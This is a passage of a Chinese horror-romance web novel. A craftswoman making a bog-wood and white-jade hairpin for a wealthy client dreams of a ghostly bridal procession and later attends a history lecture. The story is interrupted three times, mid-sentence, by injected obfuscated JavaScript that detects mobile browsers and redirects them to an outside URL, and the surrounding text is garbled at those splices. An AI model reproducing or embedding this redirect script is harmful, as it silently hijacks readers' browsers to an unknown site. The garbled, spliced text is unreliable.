《那个阴湿鬼是我crush》 1. 阴沉木,白玉兰,金花蕊 许菱烟接了个大单子。 她从事非遗手工艺这一行有些年头了,接过不少高价且要求精细的订单,也跟电视台或文旅局有过很多次合作,称得上经验丰富,但让她如此焦头烂额的情况,还是第一次碰见。 对方顺着工作室微博首页的邮箱找过来,说要定制一整套中式婚礼中新娘所用的头面,并向她表达了过分热切的崇拜以及欣赏,话里话外表露着,人生大事必须要有她亲手制作的头面,才算圆满。 许菱烟也是没想到,有生之年还能碰上个狂热粉丝,对着电脑屏幕傻乐呵了好一阵儿。 弘扬中华传统文化一直是热门话题,伴随着短视频的兴起,又掀起一轮新的关注度。 以往找许菱烟定制头面的客户只多不少,她的技术相当娴熟,除了耗时耗力耗钱,倒也没什么难的,只不过,接了这一单,后续起码半年以内,她都不会再分神做别的单子了。 保险起见,她先跟对方在微信上详聊了几天,确保不是个吹毛求疵爱找茬的人,以及自身能力足够办成这单,才给了答复。 又因为客户在国外工作,没办法见面谈,签约只能在线上进行。 手续折腾近一周终于签完,许菱烟开始专心干活。 一整套完整的头面通常由凤冠作为核心部分,发钗或发簪、步摇、花钿、鬓钗或耳坠挂饰等配件组成。 考虑到实用性,头冠往往会采取轻量化设计,色彩方面则需要与婚服风格一致。 万万没想到,许菱烟刚把设计方案发过去,签约之后的客户嘴脸发生一百八十度大转变,非要她严格按照古代贵族的用料和规制制作,连朝代都规定好了——北邳。 距今一千四百多年,历史上只存在了不足二十年的朝代。 这不是故意刁难人嘛。 价格高昂又稀缺珍贵的材料让她上哪儿找? 不如打听一下哪家高门贵族有,亲自上门去借得了。 凡涉及设计的行业,每天必和一帮牛鬼蛇神打交道,许菱烟早就总结出一套对付这类人的方法,可惜没使上,便被从天而降的巨额转账闪瞎了眼。 紧随其后的,是微信里新鲜出炉的语音消息。 年轻男人的嗓门儿格外嘹亮:“头面所需的原料很快就寄到您的工作室,过程中缺什么您尽管提,我来想办法。资金更不是问题。除此之外,请您另做的那支簪子,我请人画好了图,已经发到您邮箱了。” “我明白,提出这样的要求确实难为您了,但人生只一次的大事,劳烦您体谅,务必尽心尽力。” 最后的最后,男人说:“我目前在国外,工作忙又有时差,没办法跟您随时保持沟通,这样吧,您加一下我表哥的微信,他人和您在同一个城市,有事您直接联系他。” 前一秒还面目可憎的客户,此刻突然变得和蔼起来。 许菱烟积攒的怒气一扫而空,摁下录音键,捏着一把甜美的嗓子,特有职业精神的答复对方:“把事儿交给我办,您尽管放心。” 之后两个月,许菱烟完全醉心于工作,一步也没踏出工作室的大门,过得不知今夕何夕。 闺蜜叶婉筱抽空来了一趟,给她送家人包的抄手。 纵然见过工作狂魔状态下的许菱烟,叶婉筱刚一进门时毫无心理准备,仍被吓了一哆嗦,以为自己大白天撞鬼了,条件反射般拿手机联系专业驱-魔团队。 缓了一缓神,叶婉筱换上拖鞋,捻脚捻手地绕开工作桌,走进厨房,把抄手放去冷冻层,又在经常光顾的那家店里叫了一份乌鸡汤的加急外卖。 临近傍晚,许菱烟总算从沉浸状态中抽离,拿杯子去厨房接水,意外发现灶台前站着个女人。 穿着缎面吊带长裙,裙身反射出柔和光泽,瀑布一般的乌黑长发披散开,背影窈窕,美的动魄。 走近看清是叶婉筱。 许菱烟挠挠插着一支笔且乱成鸡窝的丸子头,纳闷:“你什么时候来的?” 她怎么一点儿动静也没听见。 “天还亮着的时候。” 话音刚落,微波炉叮得一响。 门一打开,热乎的潮气和乌鸡汤的香味扑面而来。 许菱烟的肚子立即响应了两声。 “别杵着了,快坐下喝吧,已经热三回了。” 叶婉筱实在看不下去许菱烟身上那件脏兮兮的工作服,趁她喝汤的功夫,进卧室拿了一件干净的睡裙,叮嘱她等消化的差不多了,赶紧去洗澡。 许菱烟吃得满嘴油,含糊不清地应:“...嚎。” 经过亮着台灯的工作桌时,叶婉筱瞥见那支做成的簪子,随口一问:“你最近就在忙活这个?” “嗯。” 许菱烟狼吞虎咽地啃完鸡肉,端起碗,咕嘟咕嘟灌着汤。 等肚子饱了,身体暖烘烘的,被工作麻痹的人也逐渐恢复精气神。 她伸了个懒腰,四肢舒展,像只餍足的猫儿,长长地抒出一口郁气,感叹:“第一次接这么难的单子。” “没想到有天能从你嘴里听见难这个字,真稀罕。” 叶婉筱调侃:“你打小就有手工天赋,剪纸、折纸、泥塑、雕塑、扎风筝……凡需要动手的,就没你不擅长的。六岁拜师,十八岁创立了属于自己的非遗手工艺品牌,没一年就赚到了这辈子都花不完的钱,获得的荣誉奖项更不用说,到头来,竟然被区区一支黑木簪子难倒啦?” 当面儿被亲人夸和隔着屏幕被外人夸的感觉不一样,许菱烟难为情地抿嘴笑笑,不忘纠正:“不是黑木,是阴沉木。” “很珍贵的木材?” “非常、非常珍贵。阴沉木的形成过程很漫长,通常要历经数千年,所以在民间被成为东方神木,有辟邪、镇宅、纳福的作用,上头镶嵌的那朵白玉兰花,用料是顶级羊脂白玉,玉中极品,质如凝脂,拍卖价每克可达数十万元,就连花蕊也是融了金子再炼的。” 许菱烟也算见多识广的人了,一想到专车专人把原材料护送到工作室的场面,还是连连咋舌。 她指了指工作桌旁的巨大保险柜,表情无比真挚:“不开玩笑,它比我的命更值钱。” 叶婉筱听得一愣一愣的,完全想象不到,外观看上去平平无奇的一支簪子,造价居然如此昂贵。 有钱人的奢侈程度果真超出了她的预估。 以防聊下去会严重打击自己这颗贫穷又幼小的心脏,叶婉筱打了个叉号的手势,关于簪子的话题就到此为止。 收拾干净厨房,天色已晚,许菱烟担心叶婉筱一个人回家不安全,留她在这儿睡。 叶婉筱婉拒:“明天有一场挺要紧的服装秀,我凌晨就得赶过去布置现场。你忙了这些天,今晚一个人安生睡吧,我就不留下来吵你了。” “...好叭。” “抄手不多,你赶快吃,放太久馅儿就不新鲜了。” “嗯。”许菱烟取下头上的笔,随便抓了一把干枯发黄的头发,拿上钥匙和手机,说:“走吧,我送你。” 当初为了能有个清净的创作环境,许菱烟特地买了郊区的别墅,邻里之间挨得也不近。 保安处管得严,安全归安全,共享单车根本进不来。 坏处就是,出行很不方便。 两人沿着蜿蜒的小路走了十几分钟,望见一辆停在柏油马路边打着双闪的网约车,车牌号对得上。 “就到这儿吧,别往前送了。” 叶婉筱拉着许菱烟,正经八百地叮嘱:“你一个人待在工作室,晚上一定要锁好门窗再睡。千万注意安全。” 说着,她扭头向四周环视一圈,不知道为什么,心头惴惴不安。以前从没有过类似的感觉,今夜却觉得脊背发凉,黑黢黢的角落里,似乎藏着一个了不得的东西,正目不转睛地窥伺她们。 一阵风吹来,叶婉筱鸡皮疙瘩直冒。 她搓了搓胳膊,强压下这股不适感,向她道:“我走了。” 闺蜜俩很久没见面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094219|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只待了这一小会功夫就要分开,憋了很久的话题还没来得及展开详聊呢,许菱烟当然依依不舍了。 她勾着她的手链,像小时候那样晃晃,撒娇:“到家记得给我发消息说一声。” 叶婉筱点头,控制不住视线,觑向漆黑一团的墙角。 那儿空空如也,狭窄逼仄,别提藏人,藏个猫儿狗儿都难,可她总感觉瘆得慌,是一种比电影中突然跳出来的鬼脸更震撼且隐秘的恐惧,令人身体发冷。 叶婉筱莫名焦躁,轻推她一把,“快回家,我看着你走。” “……” 啧。 这个不解风情的女人。 许菱烟娇嗔地哼了一声:“拜拜,改天再约。” 七月份,南方进入最炎热的阶段,夸张到不开空调就呼吸不畅,从凉爽的房间里出来接杯水的功夫,身上就能出一层汗,一天不洗澡都不行。 可工作到忘我的时候,甭提个人卫生,连吃饭、睡觉这些基本需求,许菱烟都无暇顾及。 刚开房门,一股凉爽的风迎面扑来,她清楚闻到头发的酸臭味,嫌弃地皱起脸,把钥匙往收纳篮里一丢,趿着拖鞋,顺手拎上睡裙,急匆匆往浴室走。 突然想到什么,中途折返。 许菱烟单膝跪地,上半身完全钻到桌子底下,费劲巴拉地拽出一只沉重的木箱子,把道具一样样儿取出来,熟练地布景,调整好灯光,对着簪子的各个角度连拍了几张照片。 给客户返图是很有必要的步骤,发现问题,双方可以及时沟通调整,以免事后追责。斟酌了下,她给他表哥也发了一份。 因为不确定待会儿还要不要返工,许菱烟没着急去洗漱,往一旁摆满杂物、脏兮兮的沙发上一倒,努力给自己拱出个空地,舒服地翘起二郎腿,等对方回信儿。 歇了一小会,过度劳累的后劲开始发作。 许菱烟浑身上下的每一块地方都又酸又涨,太阳穴疼得快炸开,双眼也不舒服,控制不住地淌泪。 在极度疲劳面前,其余事统统变成浮云。 她现在只想踏踏实实地睡一觉,把精神养足,对着天花板打了个大大的哈欠,视野雾蒙蒙的,什么都看不清了,眼皮不自觉地黏连在一起。 转瞬间,意识陷入迷离。 手一脱力,手机咕滚落到地上。 幸亏铺了一层毛绒毯子,没有磕碰出动静。 整座房子悄寂无声,夜色如同一只黑森森的怪物蔓延至室内,却因忌惮着一团昏黄的灯光,不得不止步于房门口。一道不易被发觉的湿冷目光藏在阴暗角落里,始终紧盯着女人,仿佛黏在她身上一般,贪婪放肆生长。 许菱烟无知无觉地翻了个身,彻底睡熟了。 - “...清如,快些拾掇。” “喜婆子来催两回了,给回个话儿吧。” “清如,清如呐...” “郑清如。” “我的妻。” “醒一醒。” 眼瞅着少女的脑袋就快磕到桌沿,电光火石之间,她耳畔响起一道声音,像是从地底冒出来的,寒凉、阴森、潮湿、粘稠,带着不容抗拒的气势。 是人是鬼都难以辨清。 少女被成功唤醒,睁开眼的同时,双手条件反射般抓紧桌沿,稳住快摔倒的身子。 压在心口的郁气从鼻腔、嘴巴争抢着往外涌,把她呛了个猝不及防,如溺水之人般猛烈地喘着粗气,喉咙火烧火燎地疼,一双杏眼泛起生理性水光,羽扇似的睫毛频繁忽闪,旋即,两行清泪沿着面庞滑落。 一具早已蒙尘的躯壳,刹那间便活了过来。 听见屋内细碎的动静,外面的人停了停。 紧接着,木门被叩响,梁上的灰扑簌簌掉落,粉尘飞扬。 有一道背脊佝偻,瘦小干瘪的身影投落在窗纸上,离得那么近,声音反倒像远在天边,苍老且嘲哳,勾魂儿似地唤:“清如,喜轿已至,你该动身了。” 2. 第一场梦 乡下的土坯房,纸糊窗压根挡不住夜风,冷气灌进来,让人如坠冰窟。 历经岁月洗礼变得千疮百孔的两扇木门咣当作响,好似随时可能轰然倒塌,门闩显得格外多余。 这间房已不足以用简陋来形容,巴掌大点儿的地方,一桌一椅一床便塞满了,连个落脚的位置也无。 桌上放着一只茶碗,边沿遍布豁口,伶仃的叶子打着旋儿,茶水色泽浅淡,水底沉着残渣,表面浮现一层灰尘,早凉了。 充斥着腐朽气息的房内,只有她身上的脂粉味儿是新鲜的。 郑清如精神恍惚了瞬,险些忘记自己今儿要干什么。 她赶忙揩去面颊的泪水,看向门外的身影,“烦请阿婆稍等片刻。” 那人没应声,身子和脖子僵成笔直的一条,脑袋像被一根肉眼看不见的细线吊起来,小幅度地晃了晃,魂儿般横着从门边飘走了。 郑清如没觉得不对劲,掰正梳妆台上的铜镜,检查妆容。 镜面磨损的厉害,只能找出模糊的轮廓,粉面桃腮小嘴,细究也算个美人儿,可惜被养得太糙,再加上年纪太小,姿色还未显现。 郑清如执簪,小心翼翼地插入发间,对镜仔细调整,让尾端的金蕊白玉兰冲向正前方。拿梳子理顺长发之后,她起身退远一些,整理衣裳。 正红色锦绣婚服,红的刺眼、红的可怖,像一团随时会烧着的烈火,更像用大量鲜血染就。 她却爱极了,喜滋滋地转了一圈,依次摸了摸绛紫色云肩,披帛,十二破褶裙,确保没一点儿错处,便拿起绣扇遮面,款步走到门边,打开门栓。 阵阵阴风突地停了,泼墨般黢黑的天宛如一块延展开望不到尽头的布,透着邪性。 原本是个喜气洋洋的大好日子,外头却不见该有的陈设,没有红灯笼,窗上、门上连喜字也没贴。前后两院了无生机,阴森恐怖。 郑清如无视所有的古怪,低头窥见台阶,慢慢走下来。 后院杂草丛生,墙壁破败不堪,土壤硬化,龟裂成规则不一的几大块,结成的硬疙瘩从斜坡滚落。 郑清如一不留神,踩了个正着,身形晃得剧烈,险些摔倒。 幸亏阿婆及时扶住她。 郑清如看着那只手,与其说衰老,更像弹指间便被一股足够强大的力量剥离血肉,只留表皮附着在一具骸骨上,透过单薄的皮,将骨头的坑洼看得一清二楚。 这张皮用得时日长了,生出浅褐或淡灰色,大小不一的斑点。 郑清如摸摸阿婆的手,心疼极了,眼里闪着泪光,不知道向谁发问:“有人瞧见我的头冠放哪儿了吗?” 新娘子怎么能披头散发的出嫁? 她应该有头冠的。 “先上轿,别误了吉时。” 阿婆安抚道:“你的头冠会做好的。” 郑清如嗯了声,迈过门槛儿,亦步亦趋地进入前院。 按传统,同村的两家人互通婚姻,为节约钱财,双方亲长会合伙办一场酒席,邀请亲友邻里参加,以宴饮、歌舞为主。但前院只象征性地摆了几张桌椅,桌面上空空如也,并没有其他人在。 木头腐朽的气息更加浓郁。 郑清如的视线被扇子挡住,看不见四周的景象。 阿婆有所察觉,吩咐她要专心。 “千万别把鞋掉了。” 她说:“哪怕走得慢一点,也别把鞋掉了。” “好。”郑清如不敢胡思乱想了,乖乖低头。 院内铺满砖,缝隙间遍布青苔,甚至长出纤细的野花野草。 昨夜下过雨,能嗅到潮湿的铁锈味儿,路上反倒一尘不染,肯定有人提前打扫过了。 可郑清如的一双绣鞋格外脏,遍布星星点点干涸的泥水,快分辨不清哪一块是脏污,哪一块是图样儿。 她越看心头越不舒服,准备回房换一双。 定然来得及。 因着,她根本没听见接亲队伍吹奏的动静。 还没开口,阿婆突然握紧她的胳膊,年迈老者不知道从哪儿生出的神力,捏得她皮肉骨头黏连在一起,咯吱咯吱作响。 郑清如吃痛,啊呀一声,惨叫起来。 阿婆赶紧扶住她手中马上歪向一旁的扇子,确保遮住她的视线,“轿子和迎亲队伍都到了,你不快快出门,又要干什么去?” “我想换双绣鞋。阿婆。” 郑清如委屈巴巴地嘀咕:“这也太脏了。” “分明是你太紧张,看花眼了。给新娘子预备的东西全是崭新的,我和你阿母反反复复审查多遍了,绝不会出错。”阿婆语调有点儿急,嗓子眼像被凿了个洞,话说多了说快了滋滋往外漏风,听起来更刺耳了。 郑清如胳膊疼,还委屈,眼里泛起泪花。 乖顺了一路的人这会儿突然生出不想嫁的叛逆念头,如巨石投入平静的水面,惊起滔天波浪。 清醒维持不及一息,有一道更为蛮横强大的力量把她的念头强压下去,轻而易举抹平所有可能出现的意外,强制扭转场面,让事态如愿发展。 郑清如表情陡然发生变化。 她低头浅笑,迫不及待地想见到心上人,又被这个想法臊得脸颊通红,小声咕哝:“都听阿婆的。” 敞开的铁门旁放置一架巨大的狗笼,寒冬腊月天,不知道谁把两只狗的毛全剃光了,模样异常滑稽。 它们夹着尾巴,蜷缩在角落瑟瑟发抖。 经过时,郑清如特地停下跟它们告别,心头比灌了蜜还甜,轻道:“我要嫁人啦,今儿出了门,往后轻易不再回来了。你们千万要乖乖的,别惹阿翁阿婆、阿爷阿母恼怒,否则伙食不保,我可没办法给你们求情。” 其中一只狗儿闻声,颤巍巍地掀起眼皮,直勾勾盯着她。 眼珠子黑如曜石,蒙着一层水雾,泛起类似哀戚的神色。 ...跟人似的。 突如其来的荒唐想法把郑清如骇一跳,寒意自尾椎骨炸开,虫豸一样沿着背脊向上爬,冷湿粘稠痕迹一路蜿蜒,最后停留在脖颈大动脉上,蠕蠕而动。 在她咂摸出一分一毫的不对劲,不自觉开始深思时,禁忌立即被触发。 四周的景色不断扭动、后退、缩小,逐渐模糊化。 郑清如明明睁大了双眼,瞳仁反而古怪地收缩,除了面前那顶火红的喜轿之外,什么都不看清了。 不知何时,有人正悄悄靠近这边。 或者说,并非是人,只是一团浓黑的影,逐渐拉长变宽,严严实实罩着她。潮黏的气息喷洒在耳畔,转瞬间,雾气化为实体,冲着发间那支白玉簪延伸。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094220|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ‘它’并没取下来,仅仅用指尖碰了一碰,便顺着柔软的发丝滑落。 墨团自各一边乍开两根疯狂舞动的长条,貌似人类的胳膊,自背后揽住她的腰肢,缓缓收紧,再收紧,强劲的力道就快碾碎她的五脏六腑。 郑清如听见肋骨发出嘎吱嘎吱的脆响,呼吸逐渐困难,胭脂已经盖不住涨紫的面色。 她想尖叫,试图引起邻里的注意赶来救命,嗓子眼却先涌出铁锈的味道,声带好像故障了,再怎么努力也只能挤出丝丝的气音。 ‘它’的另一根长条缠绕着她的肩头,似贪恋般反复摩挲,随即延长至另一个肩头,从身前绷成一上一下两条直线,像用绳索把她结结实实地捆住了。 郑清如被萧瑟的气息包裹,身体又冷又黏,不住地发抖。 ‘它’对此无知无觉,更大一团貌似脑袋的墨色枕上她的肩膀,逐渐向前伸展,吊锤般摆来摆去,像在蹭着她撒娇一样,表现得无比亲昵的同时,又牢牢压制住她挣脱的动作。 随着施加的力道越来越大,她无法自制地翻起白眼,身躯上下两部分以不自然地弧度往相反的方向扭曲,胸膛无限向‘它’贴近,眼瞅着就要被掰折,填入无边无际的黑暗中。 ‘它’突然停了下来,弄出含糊地撕扯音,像野兽嚼食,又像阴风过阵,令人毛骨悚然。执着地尝试了好一阵儿,如愿挤出囫囵的音节—— “妻。” “...下次,见。” - 随着第一缕天光洒入室内,许菱烟冷不丁睁开双眼,诈尸一样。 她脸上湿漉漉的,不知道是汗水还是泪水,总之冰凉稠黏,流动的速度格外缓慢,后背的衣料也湿透了,散发着说不清道不明的怪味儿。 ...什么情况。 撞邪了,还是见鬼了? 许菱烟迟缓的反应,被一场梦吓得惊魂未定,盯着天花板发愣。 中式恐怖无外乎女人、嫁衣、绣鞋、喜轿这几个元素,在昨晚的梦里集齐了。 梦的内容通常毫无逻辑,可她却有个一听就讲究的名字,郑清如。最诡异的是,那个不清楚到底算什么物种的黑雾,邪门儿到让她长时间无法平复心情,有种灵魂出窍的感觉。 直到尖锐的铃声划破沉寂,许菱烟才从失魂落魄的状态中抽离。 她捡起手机,关掉闹钟,顺势点进微信。 国外的客户果然没搭理她,不过他表哥倒挺配合的,就算在凌晨看见消息,也照样回复了。 许菱烟乐颠颠地打开对话框,视线聚焦在屏幕上时,大脑嗡得一声,一片空白,头皮止不住地发麻。 01:45 客户他表哥:只有这种摆拍不行 客户他表哥:麻烦你簪上看一看效果 02:00 八万春工作室-XU:[图片] 照片上的女人低着头,只拍到了眉毛以上的位置,散开的长发间插着那支簪子,白玉兰花转向外侧。 身后是一面墙,准确来说,是房间内一处能够避开光的角落。 她作为照片里唯一的人,却觉得周遭的黑也有生命,等摁下快门的那刻便敞开怀抱,将她密不透风地裹起来。 这氛围... 像极了... 情侣照。 3. 大学教授 “梦游症?你以前有过这种情况吗?” “就是因为没有才吓人。” 叶婉筱微哽:“...医生怎么说?” “稍等,我看一眼报告。” 许菱烟盘腿坐在地上,从袋子里翻出一沓检查单,好一会儿才找到想要的那页,逐字逐句地念:“长期处于压力过大、焦虑、抑郁等不良心理状态,会影响神经系统的稳定性。在睡眠过程中,这些情绪压力导致大脑神经活动异常,引发梦游现象①。” 叶婉筱一句话总结:“工作魔怔了。” 许菱烟默认她的说法,长长地抒出一口气,无精打采:“你根本想象不到,我在梦游的时候干了一件多么疯狂的事。” 叶婉筱猜:“一夜之间做完了下半年所有工作?” “……” 许菱烟心说:作为一个服装设计师,叶婉筱的想象力过分匮乏了。对她而言,累一累身体没什么,就怕对钱包造成伤害。 “我擅自戴了客户的簪子,还给他表哥拍了照,”许菱烟愁得揪头发,“如果客户发作起来,一定要追究我的责任,这一单就够我赔的倾家荡产了。” 并非她把事态设想的太严峻,而是因为碰见过类似的客户。 请她做东西却不许她过多触碰,认为这样会沾染外人的气味,让自己的亲亲男/女朋友介意怎么办。 为此,许菱烟和助理卢桃没少跟人打嘴皮官司。 她见识过物种的多样性,实在被磋磨的没招了,不管干什么都要留个凭证,有备无患。但这次情况不一样,她有错在先,人证物证俱全,没办法辩解。 叶婉筱下意识反驳说不会,随即回忆起那天,许菱烟给她科普簪子的原料价格以及珍稀度,想都不用想就知道客户有多重视这个东西。 越重视,越无法接受他人染指。 毕竟,制作过程中的触碰,跟不经客户允许就戴在自己头上拍照留念,区别不止一星半点儿。 叶婉筱咽掉徒劳的安慰,特走心地说:“真有事就知会一声,公司法务部和我存款的大门永远向你敞开。” “谢谢啊。”许菱烟有气无力。 叶婉筱被她抑郁的情绪感染,严肃正经地宽慰了一阵,说着说着,意识到不对劲:“为什么把照片发给客户的...表哥?” “客户在国外工作,又忙又有时差,没办法和我及时联系,让我有事先找他表哥。” “那不就得了,”叶婉筱恍然,分析地头头是道,“客户让你找表哥,表哥发话了,你照做。有问题吗?没有一丁点儿问题。” “但愿吧...” 许菱烟身体往一边歪,依靠着床腿勉强坐着,眼皮半耷,慢吞吞地收拾散落一地的报告单,整个人看上去蔫啦吧唧的。 “但愿他表哥在这件事上有话语权,客户知道之后千万别心里不舒服,又碍于亲情没办法冲表哥甩脸子,改来追究我的责任,拿我当泻火的靶子。” 这话听起来可太有故事感了,叶婉筱狠狠心疼。 工作室事多如牛毛,许菱烟除了忙活手上接的单子,还要一一回复咨询和合作的消息,一个人恨不得劈成两半用。 叶婉筱有空会过去帮帮忙,哪怕只是给许菱烟做顿饭,收拾一下家务。可最近公司里正在筹备新的服装品牌,由她全权负责,根本走不开。 叶婉筱问:“小桃子什么时候回来?” “等师父和师母的状况稳定下来吧。” 小桃子,本名卢桃。 许菱烟的师妹兼助理。 据说师父最初只想收许菱烟这一个徒弟,至于卢桃,念在是自己亲生女儿的份上顺便教一教。 卢桃在这方面展现出的天赋不高,作为雕塑专业普通学生的水平自然够了,但想成为非遗手艺的传承人还差得远。 师父便也没怎么用心培养她。 许菱烟反倒挺欣赏卢桃的作品,觉得小姑娘看待艺术的品味很独特,亏就亏在年龄小,很多方面还不成熟,需要时间的沉淀。她诚邀她来工作室做自己的助理,磨炼一下手艺,也长长见识,将来说不准能有一番作为。 没成想,卢桃刚开始工作,师父师娘就相继病倒了。 医生说,人上年纪之后身体机能跟不上趟,年轻人感冒咳嗽、流鼻涕,最坏不过发烧,吃药或打针,干脆捂着被子睡一觉发发汗,很快就康复了。老人却不同,生一场病的后果可轻可重,保险起见,建议住院观察调养。 两人吊着一颗心,白天黑夜轮班陪护。 不出一周,许菱烟就被撵了。 师父和师母脾气都够大,许菱烟不走,他们就使劲拍着床板子发火,脸烧得通红,心率直线飙升,险些又进一次抢救室。 这场面给许菱烟吓得够呛,压根不敢犟了,马不停蹄的连夜滚回来工作,留下卢桃和护工在医院陪着。 为了让许菱烟放心,卢桃实时同步情况,老人家恢复的虽慢,但好在最近几次检查,身体各项指标都正常,应该很快就能出院了。 叶婉筱感慨地念叨了一句万幸。 旋即想起来问:“叔婶知道你梦游吗?” “可千万别告诉我爸妈,”许菱烟噌得坐起身,赶紧打住,“他俩一旦进入战备状态,我这儿十天半个月也清闲不了。平时就算了,现在我手头上还有没完成的任务,急需一个平静的环境。” “好好好。”叶婉筱哭笑不得。 午休时间转瞬即逝,众人相继到位,快速进入工作状态。马上有场发布会要开,负责人来找叶婉筱确认最后一版发言稿,见她正拿着私人手机通电话,很有眼力见地退到门外等。 “...抽空出去散散步,放松心情,缓解压力,晚上也能睡得踏实,”叶婉筱瞥见人,招手让人家进来坐,接着说,“我先挂了,有工作。” 许菱烟痛痛快快地诶了一声。 - 手工艺这一行不仅考验个人技术,更考验耐力,往往一坐就是大半天,长此以往,颈椎、腰椎等部位很容易产生不适感。 许菱烟在瑜伽馆办了一张私教年卡,坚持每天过去锻炼,连家里蒙尘的健身器材也重新用上了。还真别说,通过运动的方式把体力消耗干净,果然睡得更踏实,一夜无梦直接到天亮。 睡眠质量得到保证,人的精神气愈发饱满。 以防万一,许菱烟买了新的监控。 一个放在房间,用来观察她还会不会再犯病。 另一个换去工作间—— 就在她梦游那天,监控莫名其妙地坏了,以前的数据已经同步保存至云端,唯独缺失了那天夜里零点至天亮间的所有画面。 许菱烟联系客服登录后台调取一下,可惜,监控坏的太突然,系统没来得及同步,更别提备份了。 那就没辙了。 弄丢监控视频算得上比较严重的事故,万一有客户闹意见或者出现别的岔子,这些视频将会成为最关键的证据。也幸亏,那晚她累得睡过去了,没强撑着爬起来继续干活。 丢失的那一部分内容并不要紧,没了就没了吧。 许菱烟心说:免得自己梦游的画面流传出去,被当作都市怪谈。 下午市博物馆有场公开性质的历史讲座,内容有关北邳,主讲人是沙溪大学历史系的一位沈姓教授。 收到公众号推送的宣传图文,许菱烟立即点进去预约位置,吃完饭,拿着素描本和最近整理的历史资料,打车前往。 灵感缺失的时候,她通常会选择来博物馆走走,闻到木头散发的潮湿腐朽气味,以及看见有关那些陈年老物的故事,总让她有种恍然间去到另一个时空的新奇感受,心突地安定下来,创作灵感迸发,落刀时如有神助。 师父管这叫:天份。 许菱烟到得略早,负一层的礼堂还没开门,她在一楼的各个展厅逛了一圈,发现拥挤的人潮开始往楼下挪动,赶紧跟上。 能容纳几百人的礼堂,前后两扇门却设计的格外窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094221|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,人们挤在走廊里半天挪不动步。 许菱烟弯腰,降低重心,像条滑不溜秋的活鱼从缝隙间钻进去,快速挑了一个比较靠前的位置。 桌面放着一本知识手册,可以帮助观众更好的理解本场讲座的内容,允许带走留作纪念。 许菱烟认认真真地翻阅起来。 总共没几页内容,很快过完一遍,内容跟她了解到的大差不差。 主要因为北邳这个朝代存留的太短,放在历史洪流中显得微不足道,除去诞生了艮山沈氏这个最具代表性、延续时间最长的世家大族,没什么值得拿出来说道的地方。 旁边的椅子被摁下去,有几个拎着沙溪大学帆布袋的男女生相继走向这一排,挨着许菱烟落座的小姑娘主动跟她交谈:“你也是历史系的吗?” 她看她长得漂亮又年轻,误以为同样是个大学生。 许菱烟摇摇头:“我本科读得汉语言文学专业,已经毕业很多年了。” “啊...”话题终结,场面有些尬。 因为贸然搭讪而吃瘪,小姑娘难为情极了,脸微微发红,不敢再看旁边的漂亮姐姐,咕哝一句抱歉。 许菱烟完全不介意,反倒借此机会和她接着聊天。 “这么多人...是学校组织你们来听讲座?” “嗯,听完还要写一千五百字的感想,算零点五个学分。” ...只有零点五? 可真够抠搜的。 许菱烟失笑。 “不过大家都非常喜欢听沈教授讲课,后面有很多人不是本专业的学生,有空就来凑热闹了,”小姑娘抿着嘴,眉眼间泛着一抹赧,娇俏可爱,“沈教授不管讲什么都很生动,嗯...人长得也超级帅。” 许菱烟扬眉,不置可否。 评上教授职称的人年龄应该不小了吧,或许,这位小妹妹口中的超级帅,指的是他身上含有文化工作者卓雅温和的气质? 许菱烟如是想。 在礼堂一阵异常的骚-动中,她抬起头,眼睁睁看着一个无比俊逸的年轻男人款款走上台。聚光灯集中在他身上,追随步伐缓慢移动,大屏只投射了他的侧面,却不难看出这副皮囊有多么优越。 等男人站定在讲台前,光线很配合的呈现出四十五度倾斜,明暗交织,恰到好处。 一张清瘦的脸,皮肤瓷白,唇红眉黑,眼睛似乎没完全睁开,眼皮半耷拉着,长睫投落下一片丛丛阴影,乍看起来有些冷倦,可整体又呈现出优雅从容的风度。 许菱烟嘴巴微张,无声唏嘘。 帅。确实帅。 典型的漫画式高冷男神。 年轻。也确实年轻。 目测不超过三十岁。 有颜有才,肯定也有钱。 符合成为“少女梦中情人”的所有苛刻条件。 难怪,观众席上坐着的大多是女孩子。 如果她读大学那会儿碰见这样一个帅哥老师,肯定有事没事就往他课上跑,知识哪嫌学得多,还能顺便提高审美修养。何乐不为。 许菱烟指尖转着笔,托着腮无声发笑,给自己想美了。 等候工作人员调试话筒的功夫,男人理了理演讲稿,察觉到什么,单薄的眼皮掀起,往黑黢黢的台下快速扫视一圈,随后,精准地留在某一点。 仿佛可以穿透黑夜的犀利目光,让许菱烟像被刺中般轻微哆嗦了一下。 她下意识以为他在找人,往四周、往身后观望,转过头再看向台上时,他仍然面无表情,定定地注视着这边。 灯光好似照不进男人的眼底,那对瞳仁颜色深得瘆人,且黯淡无神。往难听了说,这人比木材原料还僵化,没什么活气儿。 